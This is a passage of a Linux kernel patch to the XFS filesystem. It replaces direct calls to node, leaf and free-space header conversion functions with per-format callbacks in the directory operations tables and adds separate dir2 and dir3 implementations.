*)&btree[nodehdr.count] - (char *)oldroot); level = nodehdr.level; @@ -605,7 +559,7 @@ xfs_da3_root_split( struct xfs_dir2_leaf_entry *ents; leaf = (xfs_dir2_leaf_t *)oldroot; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); ASSERT(leafhdr.magic == XFS_DIR2_LEAFN_MAGIC || @@ -650,14 +604,14 @@ xfs_da3_root_split( return error; node = bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); btree[0].hashval = cpu_to_be32(blk1->hashval); btree[0].before = cpu_to_be32(blk1->blkno); btree[1].hashval = cpu_to_be32(blk2->hashval); btree[1].before = cpu_to_be32(blk2->blkno); nodehdr.count = 2; - xfs_da3_node_hdr_to_disk(node, &nodehdr); + dp->d_ops->node_hdr_to_disk(node, &nodehdr); #ifdef DEBUG if (oldroot->hdr.info.magic == cpu_to_be16(XFS_DIR2_LEAFN_MAGIC) || @@ -694,11 +648,12 @@ xfs_da3_node_split( int newcount; int error; int useextra; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_node_split(state->args); node = oldblk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); /* * With V2 dirs the extra block is data or freespace. @@ -745,7 +700,7 @@ xfs_da3_node_split( * If we had double-split op below us, then add the extra block too. */ node = oldblk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); if (oldblk->index <= nodehdr.count) { oldblk->index++; xfs_da3_node_add(state, oldblk, addblk); @@ -800,8 +755,8 @@ xfs_da3_node_rebalance( node1 = blk1->bp->b_addr; node2 = blk2->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr1, node1); - xfs_da3_node_hdr_from_disk(&nodehdr2, node2); + dp->d_ops->node_hdr_from_disk(&nodehdr1, node1); + dp->d_ops->node_hdr_from_disk(&nodehdr2, node2); btree1 = dp->d_ops->node_tree_p(node1); btree2 = dp->d_ops->node_tree_p(node2); @@ -816,8 +771,8 @@ xfs_da3_node_rebalance( tmpnode = node1; node1 = node2; node2 = tmpnode; - xfs_da3_node_hdr_from_disk(&nodehdr1, node1); - xfs_da3_node_hdr_from_disk(&nodehdr2, node2); + dp->d_ops->node_hdr_from_disk(&nodehdr1, node1); + dp->d_ops->node_hdr_from_disk(&nodehdr2, node2); btree1 = dp->d_ops->node_tree_p(node1); btree2 = dp->d_ops->node_tree_p(node2); swap = 1; @@ -881,12 +836,12 @@ xfs_da3_node_rebalance( /* * Log header of node 1 and all current bits of node 2. */ - xfs_da3_node_hdr_to_disk(node1, &nodehdr1); + dp->d_ops->node_hdr_to_disk(node1, &nodehdr1); xfs_trans_log_buf(tp, blk1->bp, XFS_DA_LOGRANGE(node1, &node1->hdr, dp->d_ops->node_hdr_size())); - xfs_da3_node_hdr_to_disk(node2, &nodehdr2); + dp->d_ops->node_hdr_to_disk(node2, &nodehdr2); xfs_trans_log_buf(tp, blk2->bp, XFS_DA_LOGRANGE(node2, &node2->hdr, dp->d_ops->node_hdr_size() + @@ -899,8 +854,8 @@ xfs_da3_node_rebalance( if (swap) { node1 = blk1->bp->b_addr; node2 = blk2->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr1, node1); - xfs_da3_node_hdr_from_disk(&nodehdr2, node2); + dp->d_ops->node_hdr_from_disk(&nodehdr1, node1); + dp->d_ops->node_hdr_from_disk(&nodehdr2, node2); btree1 = dp->d_ops->node_tree_p(node1); btree2 = dp->d_ops->node_tree_p(node2); } @@ -934,7 +889,7 @@ xfs_da3_node_add( trace_xfs_da_node_add(state->args); node = oldblk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); ASSERT(oldblk->index >= 0 && oldblk->index <= nodehdr.count); @@ -958,7 +913,7 @@ xfs_da3_node_add( tmp + sizeof(*btree))); nodehdr.count += 1; - xfs_da3_node_hdr_to_disk(node, &nodehdr); + dp->d_ops->node_hdr_to_disk(node, &nodehdr); xfs_trans_log_buf(state->args->trans, oldblk->bp, XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size())); @@ -1097,6 +1052,7 @@ xfs_da3_root_join( struct xfs_da3_icnode_hdr oldroothdr; struct xfs_da_node_entry *btree; int error; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_root_join(state->args); @@ -1104,7 +1060,7 @@ xfs_da3_root_join( args = state->args; oldroot = root_blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&oldroothdr, oldroot); + dp->d_ops->node_hdr_from_disk(&oldroothdr, oldroot); ASSERT(oldroothdr.forw == 0); ASSERT(oldroothdr.back == 0); @@ -1118,10 +1074,10 @@ xfs_da3_root_join( * Read in the (only) child block, then copy those bytes into * the root block's buffer and free the original child block. */ - btree = args->dp->d_ops->node_tree_p(oldroot); + btree = dp->d_ops->node_tree_p(oldroot); child = be32_to_cpu(btree[0].before); ASSERT(child != 0); - error = xfs_da3_node_read(args->trans, args->dp, child, -1, &bp, + error = xfs_da3_node_read(args->trans, dp, child, -1, &bp, args->whichfork); if (error) return error; @@ -1171,6 +1127,7 @@ xfs_da3_node_toosmall( int error; int retval; int i; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_node_toosmall(state->args); @@ -1182,7 +1139,7 @@ xfs_da3_node_toosmall( blk = &state->path.blk[ state->path.active-1 ]; info = blk->bp->b_addr; node = (xfs_da_intnode_t *)info; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); if (nodehdr.count > (state->node_ents >> 1)) { *action = 0; /* blk over 50%, don't try to join */ return(0); /* blk over 50%, don't try to join */ @@ -1234,13 +1191,13 @@ xfs_da3_node_toosmall( blkno = nodehdr.back; if (blkno == 0) continue; - error = xfs_da3_node_read(state->args->trans, state->args->dp, + error = xfs_da3_node_read(state->args->trans, dp, blkno, -1, &bp, state->args->whichfork); if (error) return(error); node = bp->b_addr; - xfs_da3_node_hdr_from_disk(&thdr, node); + dp->d_ops->node_hdr_from_disk(&thdr, node); xfs_trans_brelse(state->args->trans, bp); if (count - thdr.count >= 0) @@ -1287,7 +1244,7 @@ xfs_da3_node_lasthash( struct xfs_da3_icnode_hdr nodehdr; node = bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); if (count) *count = nodehdr.count; if (!nodehdr.count) @@ -1338,7 +1295,7 @@ xfs_da3_fixhashpath( struct xfs_da3_icnode_hdr nodehdr; node = blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); if (be32_to_cpu(btree->hashval) == lasthash) break; @@ -1370,7 +1327,7 @@ xfs_da3_node_remove( trace_xfs_da_node_remove(state->args); node = drop_blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); ASSERT(drop_blk->index < nodehdr.count); ASSERT(drop_blk->index >= 0); @@ -1391,7 +1348,7 @@ xfs_da3_node_remove( xfs_trans_log_buf(state->args->trans, drop_blk->bp, XFS_DA_LOGRANGE(node, &btree[index], sizeof(btree[index]))); nodehdr.count -= 1; - xfs_da3_node_hdr_to_disk(node, &nodehdr); + dp->d_ops->node_hdr_to_disk(node, &nodehdr); xfs_trans_log_buf(state->args->trans, drop_blk->bp, XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size())); @@ -1426,8 +1383,8 @@ xfs_da3_node_unbalance( drop_node = drop_blk->bp->b_addr; save_node = save_blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&drop_hdr, drop_node); - xfs_da3_node_hdr_from_disk(&save_hdr, save_node); + dp->d_ops->node_hdr_from_disk(&drop_hdr, drop_node); + dp->d_ops->node_hdr_from_disk(&save_hdr, save_node); drop_btree = dp->d_ops->node_tree_p(drop_node); save_btree = dp->d_ops->node_tree_p(save_node); tp = state->args->trans; @@ -1463,7 +1420,7 @@ xfs_da3_node_unbalance( memcpy(&save_btree[sindex], &drop_btree[0], tmp); save_hdr.count += drop_hdr.count; - xfs_da3_node_hdr_to_disk(save_node, &save_hdr); + dp->d_ops->node_hdr_to_disk(save_node, &save_hdr); xfs_trans_log_buf(tp, save_blk->bp, XFS_DA_LOGRANGE(save_node, &save_node->hdr, dp->d_ops->node_hdr_size())); @@ -1556,7 +1513,7 @@ xfs_da3_node_lookup_int( * Search an intermediate node for a match. */ node = blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); max = nodehdr.count; @@ -1665,8 +1622,8 @@ xfs_da3_node_order( node1 = node1_bp->b_addr; node2 = node2_bp->b_addr; - xfs_da3_node_hdr_from_disk(&node1hdr, node1); - xfs_da3_node_hdr_from_disk(&node2hdr, node2); + dp->d_ops->node_hdr_from_disk(&node1hdr, node1); + dp->d_ops->node_hdr_from_disk(&node2hdr, node2); btree1 = dp->d_ops->node_tree_p(node1); btree2 = dp->d_ops->node_tree_p(node2); @@ -1888,7 +1845,7 @@ xfs_da3_path_shift( level = (path->active-1) - 1; /* skip bottom layer in path */ for (blk = &path->blk[level]; level >= 0; blk--, level--) { node = blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); if (forward && (blk->index < nodehdr.count - 1)) { @@ -1945,7 +1902,7 @@ xfs_da3_path_shift( case XFS_DA3_NODE_MAGIC: blk->magic = XFS_DA_NODE_MAGIC; node = (xfs_da_intnode_t *)info; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + dp->d_ops->node_hdr_from_disk(&nodehdr, node); btree = dp->d_ops->node_tree_p(node); blk->hashval = be32_to_cpu(btree[nodehdr.count - 1].hashval); if (forward) @@ -2233,7 +2190,7 @@ xfs_da3_swap_lastblock( struct xfs_dir2_leaf_entry *ents; dead_leaf2 = (xfs_dir2_leaf_t *)dead_info; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, dead_leaf2); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, dead_leaf2); ents = dp->d_ops->leaf_ents_p(dead_leaf2); dead_level = 0; dead_hash = be32_to_cpu(ents[leafhdr.count - 1].hashval); @@ -2241,7 +2198,7 @@ xfs_da3_swap_lastblock( struct xfs_da3_icnode_hdr deadhdr; dead_node = (xfs_da_intnode_t *)dead_info; - xfs_da3_node_hdr_from_disk(&deadhdr, dead_node); + dp->d_ops->node_hdr_from_disk(&deadhdr, dead_node); btree = dp->d_ops->node_tree_p(dead_node); dead_level = deadhdr.level; dead_hash = be32_to_cpu(btree[deadhdr.count - 1].hashval); @@ -2301,7 +2258,7 @@ xfs_da3_swap_lastblock( if (error) goto done; par_node = par_buf->b_addr; - xfs_da3_node_hdr_from_disk(&par_hdr, par_node); + dp->d_ops->node_hdr_from_disk(&par_hdr, par_node); if (level >= 0 && level != par_hdr.level + 1) { XFS_ERROR_REPORT("xfs_da_swap_lastblock(4)", XFS_ERRLEVEL_LOW, mp); @@ -2352,7 +2309,7 @@ xfs_da3_swap_lastblock( if (error) goto done; par_node = par_buf->b_addr; - xfs_da3_node_hdr_from_disk(&par_hdr, par_node); + dp->d_ops->node_hdr_from_disk(&par_hdr, par_node); if (par_hdr.level != level) { XFS_ERROR_REPORT("xfs_da_swap_lastblock(7)", XFS_ERRLEVEL_LOW, mp); diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index 72b48b5..d81cff7 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -464,19 +464,84 @@ xfs_dir3_leaf_hdr_size(void) return sizeof(struct xfs_dir3_leaf_hdr); } -static inline int +static int xfs_dir3_max_leaf_ents(struct xfs_mount *mp) { return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size()) / (uint)sizeof(struct xfs_dir2_leaf_entry); } -static inline struct xfs_dir2_leaf_entry * +static struct xfs_dir2_leaf_entry * xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) { return ((struct xfs_dir3_leaf *)lp)->__ents; } +static void +xfs_dir2_leaf_hdr_from_disk( + struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from) +{ + to->forw = be32_to_cpu(from->hdr.info.forw); + to->back = be32_to_cpu(from->hdr.info.back); + to->magic = be16_to_cpu(from->hdr.info.magic); + to->count = be16_to_cpu(from->hdr.count); + to->stale = be16_to_cpu(from->hdr.stale); + + ASSERT(to->magic == XFS_DIR2_LEAF1_MAGIC || + to->magic == XFS_DIR2_LEAFN_MAGIC); +} + +static void +xfs_dir2_leaf_hdr_to_disk( + struct xfs_dir2_leaf *to, + struct xfs_dir3_icleaf_hdr *from) +{ + ASSERT(from->magic == XFS_DIR2_LEAF1_MAGIC || + from->magic == XFS_DIR2_LEAFN_MAGIC); + + to->hdr.info.forw = cpu_to_be32(from->forw); + to->hdr.info.back = cpu_to_be32(from->back); + to->hdr.info.magic = cpu_to_be16(from->magic); + to->hdr.count = cpu_to_be16(from->count); + to->hdr.stale = cpu_to_be16(from->stale); +} + +static void +xfs_dir3_leaf_hdr_from_disk( + struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from) +{ + struct xfs_dir3_leaf_hdr *hdr3 = (struct xfs_dir3_leaf_hdr *)from; + + to->forw = be32_to_cpu(hdr3->info.hdr.forw); + to->back = be32_to_cpu(hdr3->info.hdr.back); + to->magic = be16_to_cpu(hdr3->info.hdr.magic); + to->count = be16_to_cpu(hdr3->count); + to->stale = be16_to_cpu(hdr3->stale); + + ASSERT(to->magic == XFS_DIR3_LEAF1_MAGIC || + to->magic == XFS_DIR3_LEAFN_MAGIC); +} + +static void +xfs_dir3_leaf_hdr_to_disk( + struct xfs_dir2_leaf *to, + struct xfs_dir3_icleaf_hdr *from) +{ + struct xfs_dir3_leaf_hdr *hdr3 = (struct xfs_dir3_leaf_hdr *)to; + + ASSERT(from->magic == XFS_DIR3_LEAF1_MAGIC || + from->magic == XFS_DIR3_LEAFN_MAGIC); + + hdr3->info.hdr.forw = cpu_to_be32(from->forw); + hdr3->info.hdr.back = cpu_to_be32(from->back); + hdr3->info.hdr.magic = cpu_to_be16(from->magic); + hdr3->count = cpu_to_be16(from->count); + hdr3->stale = cpu_to_be16(from->stale); +} + + /* * Directory/Attribute Node block operations */ @@ -504,6 +569,121 @@ xfs_da3_node_tree_p(struct xfs_da_intnode *dap) return ((struct xfs_da3_intnode *)dap)->__btree; } +static void +xfs_da2_node_hdr_from_disk( + struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from) +{ + ASSERT(from->hdr.info.magic == cpu_to_be16(XFS_DA_NODE_MAGIC)); + to->forw = be32_to_cpu(from->hdr.info.forw); + to->back = be32_to_cpu(from->hdr.info.back); + to->magic = be16_to_cpu(from->hdr.info.magic); + to->count = be16_to_cpu(from->hdr.__count); + to->level = be16_to_cpu(from->hdr.__level); +} + +static void +xfs_da2_node_hdr_to_disk( + struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from) +{ + ASSERT(from->magic == XFS_DA_NODE_MAGIC); + to->hdr.info.forw = cpu_to_be32(from->forw); + to->hdr.info.back = cpu_to_be32(from->back); + to->hdr.info.magic = cpu_to_be16(from->magic); + to->hdr.__count = cpu_to_be16(from->count); + to->hdr.__level = cpu_to_be16(from->level); +} + +static void +xfs_da3_node_hdr_from_disk( + struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from) +{ + struct xfs_da3_node_hdr *hdr3 = (struct xfs_da3_node_hdr *)from; + + ASSERT(from->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)); + to->forw = be32_to_cpu(hdr3->info.hdr.forw); + to->back = be32_to_cpu(hdr3->info.hdr.back); + to->magic = be16_to_cpu(hdr3->info.hdr.magic); + to->count = be16_to_cpu(hdr3->__count); + to->level = be16_to_cpu(hdr3->__level); +} + +static void +xfs_da3_node_hdr_to_disk( + struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from) +{ + struct xfs_da3_node_hdr *hdr3 = (struct xfs_da3_node_hdr *)to; + + ASSERT(from->magic == XFS_DA3_NODE_MAGIC); + hdr3->info.hdr.forw = cpu_to_be32(from->forw); + hdr3->info.hdr.back = cpu_to_be32(from->back); + hdr3->info.hdr.magic = cpu_to_be16(from->magic); + hdr3->__count = cpu_to_be16(from->count); + hdr3->__level = cpu_to_be16(from->level); +} + + +/* + * Directory free space block operations + */ +static void +xfs_dir2_free_hdr_from_disk( + struct xfs_dir3_icfree_hdr *to, + struct xfs_dir2_free *from) +{ + to->magic = be32_to_cpu(from->hdr.magic); + to->firstdb = be32_to_cpu(from->hdr.firstdb); + to->nvalid = be32_to_cpu(from->hdr.nvalid); + to->nused = be32_to_cpu(from->hdr.nused); + ASSERT(to->magic == XFS_DIR2_FREE_MAGIC); +} + +static void +xfs_dir2_free_hdr_to_disk( + struct xfs_dir2_free *to, + struct xfs_dir3_icfree_hdr *from) +{ + ASSERT(from->magic == XFS_DIR2_FREE_MAGIC); + + to->hdr.magic = cpu_to_be32(from->magic); + to->hdr.firstdb = cpu_to_be32(from->firstdb); + to->hdr.nvalid = cpu_to_be32(from->nvalid); + to->hdr.nused = cpu_to_be32(from->nused); +} + +static void +xfs_dir3_free_hdr_from_disk( + struct xfs_dir3_icfree_hdr *to, + struct xfs_dir2_free *from) +{ + struct xfs_dir3_free_hdr *hdr3 = (struct xfs_dir3_free_hdr *)from; + + to->magic = be32_to_cpu(hdr3->hdr.magic); + to->firstdb = be32_to_cpu(hdr3->firstdb); + to->nvalid = be32_to_cpu(hdr3->nvalid); + to->nused = be32_to_cpu(hdr3->nused); + + ASSERT(to->magic == XFS_DIR3_FREE_MAGIC); +} + +static void +xfs_dir3_free_hdr_to_disk( + struct xfs_dir2_free *to, + struct xfs_dir3_icfree_hdr *from) +{ + struct xfs_dir3_free_hdr *hdr3 = (struct xfs_dir3_free_hdr *)to; + + ASSERT(from->magic == XFS_DIR3_FREE_MAGIC); + + hdr3->hdr.magic = cpu_to_be32(from->magic); + hdr3->firstdb = cpu_to_be32(from->firstdb); + hdr3->nvalid = cpu_to_be32(from->nvalid); + hdr3->nused = cpu_to_be32(from->nused); +} + const struct xfs_dir_ops xfs_dir2_ops = { .sf_entsize = xfs_dir2_sf_entsize, .sf_nextentry = xfs_dir2_sf_nextentry, @@ -532,10 +712,14 @@ const struct xfs_dir_ops xfs_dir2_ops = { .data_unused_p = xfs_dir2_data_unused_p, .leaf_hdr_size = xfs_dir2_leaf_hdr_size, + .leaf_hdr_to_disk = xfs_dir2_leaf_hdr_to_disk, + .leaf_hdr_from_disk = xfs_dir2_leaf_hdr_from_disk, .leaf_max_ents = xfs_dir2_max_leaf_ents, .leaf_ents_p = xfs_dir2_leaf_ents_p, .node_hdr_size = xfs_da2_node_hdr_size, + .node_hdr_to_disk = xfs_da2_node_hdr_to_disk, + .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, }; @@ -567,11 +751,18 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .data_unused_p = xfs_dir2_data_unused_p, .leaf_hdr_size = xfs_dir2_leaf_hdr_size, + .leaf_hdr_to_disk = xfs_dir2_leaf_hdr_to_disk, + .leaf_hdr_from_disk = xfs_dir2_leaf_hdr_from_disk, .leaf_max_ents = xfs_dir2_max_leaf_ents, .leaf_ents_p = xfs_dir2_leaf_ents_p, .node_hdr_size = xfs_da2_node_hdr_size, + .node_hdr_to_disk = xfs_da2_node_hdr_to_disk, + .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, + + .free_hdr_to_disk = xfs_dir2_free_hdr_to_disk, + .free_hdr_from_disk = xfs_dir2_free_hdr_from_disk, }; const struct xfs_dir_ops xfs_dir3_ops = { @@ -602,20 +793,31 @@ const struct xfs_dir_ops xfs_dir3_ops = { .data_unused_p = xfs_dir3_data_unused_p, .leaf_hdr_size = xfs_dir3_leaf_hdr_size, + .leaf_hdr_to_disk = xfs_dir3_leaf_hdr_to_disk, + .leaf_hdr_from_disk = xfs_dir3_leaf_hdr_from_disk, .leaf_max_ents = xfs_dir3_max_leaf_ents, .leaf_ents_p = xfs_dir3_leaf_ents_p, .node_hdr_size = xfs_da3_node_hdr_size, + .node_hdr_to_disk = xfs_da3_node_hdr_to_disk, + .node_hdr_from_disk = xfs_da3_node_hdr_from_disk, .node_tree_p = xfs_da3_node_tree_p, + + .free_hdr_to_disk = xfs_dir3_free_hdr_to_disk, + .free_hdr_from_disk = xfs_dir3_free_hdr_from_disk, }; const struct xfs_dir_ops xfs_dir2_nondir_ops = { .node_hdr_size = xfs_da2_node_hdr_size, + .node_hdr_to_disk = xfs_da2_node_hdr_to_disk, + .node_hdr_from_disk = xfs_da2_node_hdr_from_disk, .node_tree_p = xfs_da2_node_tree_p, }; const struct xfs_dir_ops xfs_dir3_nondir_ops = { .node_hdr_size = xfs_da3_node_hdr_size, + .node_hdr_to_disk = xfs_da3_node_hdr_to_disk, + .node_hdr_from_disk = xfs_da3_node_hdr_from_disk, .node_tree_p = xfs_da3_node_tree_p, }; diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index 69b4c6e..1ff7b9f 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -122,16 +122,6 @@ struct xfs_da3_icnode_hdr { __uint16_t level; }; -extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - -extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - #define XFS_LBSIZE(mp) (mp)->m_sb.sb_blocksize /* @@ -523,9 +513,6 @@ struct xfs_dir3_leaf { #define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) -extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from); - /* * Get address of the bestcount field in the single-leaf block. */ @@ -717,9 +704,6 @@ struct xfs_dir3_icfree_hdr { }; -void xfs_dir3_free_hdr_from_disk(struct xfs_dir3_icfree_hdr *to, - struct xfs_dir2_free *from); - static inline int xfs_dir3_free_hdr_size(struct xfs_mount *mp) { diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index c5cad9d..6119534 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -76,13 +76,26 @@ struct xfs_dir_ops { (*data_unused_p)(struct xfs_dir2_data_hdr *hdr); int (*leaf_hdr_size)(void); + void (*leaf_hdr_to_disk)(struct xfs_dir2_leaf *to, + struct xfs_dir3_icleaf_hdr *from); + void (*leaf_hdr_from_disk)(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); int (*leaf_max_ents)(struct xfs_mount *mp); struct xfs_dir2_leaf_entry * (*leaf_ents_p)(struct xfs_dir2_leaf *lp); int (*node_hdr_size)(void); + void (*node_hdr_to_disk)(struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from); + void (*node_hdr_from_disk)(struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from); struct xfs_da_node_entry * (*node_tree_p)(struct xfs_da_intnode *dap); + + void (*free_hdr_to_disk)(struct xfs_dir2_free *to, + struct xfs_dir3_icfree_hdr *from); + void (*free_hdr_from_disk)(struct xfs_dir3_icfree_hdr *to, + struct xfs_dir2_free *from); }; extern const struct xfs_dir_ops * diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 03015f5..364fe3a 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -936,7 +936,7 @@ xfs_dir2_leaf_to_block( tp = args->trans; mp = dp->i_mount; leaf = lbp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); ltp = xfs_dir2_leaf_tail_p(mp, leaf); diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 16fdc0e..2fb8db9 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -64,7 +64,7 @@ xfs_dir3_leaf1_check( struct xfs_dir2_leaf *leaf = bp->b_addr; struct xfs_dir3_icleaf_hdr leafhdr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); if (leafhdr.magic == XFS_DIR3_LEAF1_MAGIC) { struct xfs_dir3_leaf_hdr *leaf3 = bp->b_addr; @@ -79,62 +79,6 @@ xfs_dir3_leaf1_check( #define xfs_dir3_leaf_check(dp, bp) #endif -void -xfs_dir3_leaf_hdr_from_disk( - struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from) -{ - if (from->hdr.info.magic == cpu_to_be16(XFS_DIR2_LEAF1_MAGIC) || - from->hdr.info.magic == cpu_to_be16(XFS_DIR2_LEAFN_MAGIC)) { - to->forw = be32_to_cpu(from->hdr.info.forw); - to->back = be32_to_cpu(from->hdr.info.back); - to->magic = be16_to_cpu(from->hdr.info.magic); - to->count = be16_to_cpu(from->hdr.count); - to->stale = be16_to_cpu(from->hdr.stale); - } else { - struct xfs_dir3_leaf_hdr *hdr3 = (struct xfs_dir3_leaf_hdr *)from; - - to->forw = be32_to_cpu(hdr3->info.hdr.forw); - to->back = be32_to_cpu(hdr3->info.hdr.back); - to->magic = be16_to_cpu(hdr3->info.hdr.magic); - to->count = be16_to_cpu(hdr3->count); - to->stale = be16_to_cpu(hdr3->stale); - } - - ASSERT(to->magic == XFS_DIR2_LEAF1_MAGIC || - to->magic == XFS_DIR3_LEAF1_MAGIC || - to->magic == XFS_DIR2_LEAFN_MAGIC || - to->magic == XFS_DIR3_LEAFN_MAGIC); -} - -void -xfs_dir3_leaf_hdr_to_disk( - struct xfs_dir2_leaf *to, - struct xfs_dir3_icleaf_hdr *from) -{ - ASSERT(from->magic == XFS_DIR2_LEAF1_MAGIC || - from->magic == XFS_DIR3_LEAF1_MAGIC || - from->magic == XFS_DIR2_LEAFN_MAGIC || - from->magic == XFS_DIR3_LEAFN_MAGIC); - - if (from->magic == XFS_DIR2_LEAF1_MAGIC || - from->magic == XFS_DIR2_LEAFN_MAGIC) { - to->hdr.info.forw = cpu_to_be32(from->forw); - to->hdr.info.back = cpu_to_be32(from->back); - to->hdr.info.magic = cpu_to_be16(from->magic); - to->hdr.count = cpu_to_be16(from->count); - to->hdr.stale = cpu_to_be16(from->stale); - } else { - struct xfs_dir3_leaf_hdr *hdr3 = (struct xfs_dir3_leaf_hdr *)to; - - hdr3->info.hdr.forw = cpu_to_be32(from->forw); - hdr3->info.hdr.back = cpu_to_be32(from->back); - hdr3->info.hdr.magic = cpu_to_be16(from->magic); - hdr3->count = cpu_to_be16(from->count); - hdr3->stale = cpu_to_be16(from->stale); - } -} - bool xfs_dir3_leaf_check_int( struct xfs_mount *mp, @@ -147,6 +91,7 @@ xfs_dir3_leaf_check_int( int stale; int i; const struct xfs_dir_ops *ops; + struct xfs_dir3_icleaf_hdr leafhdr; /* * we can be passed a null dp here from a verifier, so we need to go the @@ -154,6 +99,11 @@ xfs_dir3_leaf_check_int( */ ops = xfs_dir_get_ops(mp, dp); + if (!hdr) { + ops->leaf_hdr_from_disk(&leafhdr, leaf); + hdr = &leafhdr; + } + ents = ops->leaf_ents_p(leaf); ltp = xfs_dir2_leaf_tail_p(mp, leaf); @@ -198,7 +148,6 @@ xfs_dir3_leaf_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_leaf *leaf = bp->b_addr; - struct xfs_dir3_icleaf_hdr leafhdr; ASSERT(magic == XFS_DIR2_LEAF1_MAGIC || magic == XFS_DIR2_LEAFN_MAGIC); @@ -220,8 +169,7 @@ xfs_dir3_leaf_verify( return false; } - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - return xfs_dir3_leaf_check_int(mp, NULL, &leafhdr, leaf); + return xfs_dir3_leaf_check_int(mp, NULL, NULL, leaf); } static void @@ -474,10 +422,10 @@ xfs_dir2_block_to_leaf( /* * Set the counts in the leaf header. */ - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); leafhdr.count = be32_to_cpu(btp->count); leafhdr.stale = be32_to_cpu(btp->stale); - xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); + dp->d_ops->leaf_hdr_to_disk(leaf, &leafhdr); xfs_dir3_leaf_log_header(tp, dp, lbp); /* @@ -706,7 +654,7 @@ xfs_dir2_leaf_addname( leaf = lbp->b_addr; ltp = 